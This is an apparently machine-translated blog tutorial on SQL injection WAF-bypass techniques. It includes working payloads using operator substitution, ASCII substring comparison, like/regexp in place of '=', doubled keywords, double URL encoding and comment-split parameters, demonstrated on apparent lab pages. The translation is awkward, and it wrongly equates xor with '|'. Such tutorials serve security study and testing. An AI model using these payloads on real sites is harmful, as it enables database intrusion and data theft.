当前位置:网站首页>SQL injection bypass (3)
SQL injection bypass (3)
2022-06-28 02:21:00 【A τθ】
One 、or and xor not Bypass
At present, the mainstream waf Will be right. id=1 and 1=2、id=1 or 1=2、id=0 or 1=1、id=0 xor 1=1 limit 1 、id=1 xor 1=2
For these common SQL Inject detection statements to intercept .
image and There are also characters in place of the following characters :
and be equal to &&
or be equal to ||
not be equal to !
xor be equal to |
So it can be converted into this :
id=1 and 1=1 be equal to id=1 && 1=1
id=1 and 1=2 be equal to id=1 && 1=2
id=1 or 1=1 be equal to id=1 || 1=1
id=0 or 1=0 be equal to id=0 || 1=0
1、 demonstration
?name=vince' %26%26 1=1--+&submit=1 ?name=vince' %26%26 1=2--+&submit=1


2、in、not in
select * from users where id in (2,3);
select * from users where id not in (2,3);

3、 Operation symbols bypass
You can also use operation symbols to bypass some waf Intercept , Continue to perform safety inspection on the injection point .
id=1 && 2=1+1
id=1 && 2=1-1
select * from users where id=1 && 2=1+1;
select * from users where id=1 && 2=1-1;

Two 、ascii Character contrast bypass
many waf Would be right union select To intercept And it's usually abnormal , Then you can avoid using federated query injection , You can use character truncation comparison , Make a breakthrough .
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
It's better to 'r' Replace with ascii code , If open gpc int, Injection won't work .
You can see the structure SQL The attack statement does not use a union query (union select) You can also query the data .

3、 ... and 、 Equal sign bypass
1、< perhaps >
If the program will be right = To intercept , have access to like rlike regexp Or use < perhaps >
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
select ascii(substring(user(),1,1))<115;
select ascii(substring(user(),1,1))>114;

2、like、rlike
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select substring(user(),1,1) like 'r%';
select substring(user(),1,1) rlike 'r';

3、regexp
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');
select user() regexp '^ro';
select user() regexp '^a';

Four 、 Double keyword bypass
Some programs will correct words union、 select Empty , But it will only turn once, which will leave a potential safety hazard .
Double keyword bypass ( If you delete the first matching union You can bypass it ):
id=-1'UNIunionONSeLselectECT1,2,3--+ Executing in the database will become id=-1'UNION SeLECT1,2,3--+ To bypass injection interception .
5、 ... and 、 Secondary code bypass
1、 Principle analysis
Some programs will parse the secondary code , cause SQL Inject , because url After two encodings ,waf It won't be intercepted .
-1 union select 1,2,3,user()--
First transcoding :
%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%75%73%65%72%28%29%2d%2d%20
Second transcoding :
%25%32%64%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%64%25%32%64%25%32%30
2、 Source code analysis
It has been opened in the source code gpc Escape special characters .
%25%32%64%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%64%25%32%64%25%32%30
Two encodings waf It won't be intercepted .
however , middleware /apache/iis Will be automatically converted into characters .
%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%75%73%65%72%28%29%2d%2d%20
The second time, the program helps us automatically urldecode decode .

3、 demonstration
In the code urldecode This function is for characters url decode , Because two encoding GPC It will not be filtered , So you can bypass gpc Character escape and waf Interception of .

6、 ... and 、 Multiparameter splitting
1、 Principle analysis
More than one parameter is spliced into the same line SQL In the sentence , Injection statements can be split and inserted into .
Such as request get Parameters :
a=[input1]&b=[input2] The parameters can be a and b Spliced in SQL In the sentence .
See two controllable parameters in the program code , But use union select Will be waf Intercept .
2、 Source code analysis

3、 demonstration
Use the parameter split request to bypass waf Intercept
-1' union/*&username=*/select 1,user(),3,4--+

边栏推荐
- Evaluation - rank sum ratio comprehensive evaluation
- 声网 VQA:将实时互动中未知的视频画质用户主观体验变可知
- 【sylixos】NEW_1 型字符驱动示例
- Learn pickle
- Embedded must learn! Detailed explanation of hardware resource interface - based on arm am335x development board (Part 2)
- Using redis bitmap to realize personnel online monitoring
- SQL 注入绕过(五)
- How to study efficiently
- 【牛客討論區】第四章:Redis
- 一张图弄懂 MIT,BSD,Apache几种开源协议之间的区别
猜你喜欢

1382. balancing binary search tree - General method

Numpy----np. Tile() function parsing
![[embedded foundation] serial port communication](/img/b7/18fec20e2d5fa5f226c6f8bb1e93d2.png)
[embedded foundation] serial port communication

Jenkins - Pipeline syntax

Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)

Original | 2025 to achieve the "five ones" goal! The four products of Jiefang power are officially released

To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine

SQL 注入绕过(二)

Numpy----np.tile()函数解析

ShardingSphere-proxy-5.0.0建立mysql读写分离的连接(六)
随机推荐
Based on am335x development board arm cortex-a8 -- acontis EtherCAT master station development case
SQL 注入绕过(二)
要搞清楚什么是同步,异步,串行,并行,并发,进程,线程,协程
Appium automation test foundation - Supplement: app package name and appactivity
[sylixos] I2C device driver creation and use
Appium自动化测试基础— 补充:App的包名(appPackage)和启动名(appActivity)
Centos8 operation record command version Yum redis MySQL Nacos JDK
pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...
Numpy----np. reshape()
【sylixos】NEW_1 型字符驱动示例
[Yocto RM] 4 - Source Directory Structure
To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable
COSCon'22 讲师征集令
Cesium 多边形增加文字标签(polygon 加 label)多边形中心点偏移问题解决
Evaluation - grey correlation analysis
解决ionic4 使用hammerjs手势 press 事件,页面无法滚动问题
SQL 注入绕过(三)
What is a web crawler
深入解析kubernetes controller-runtime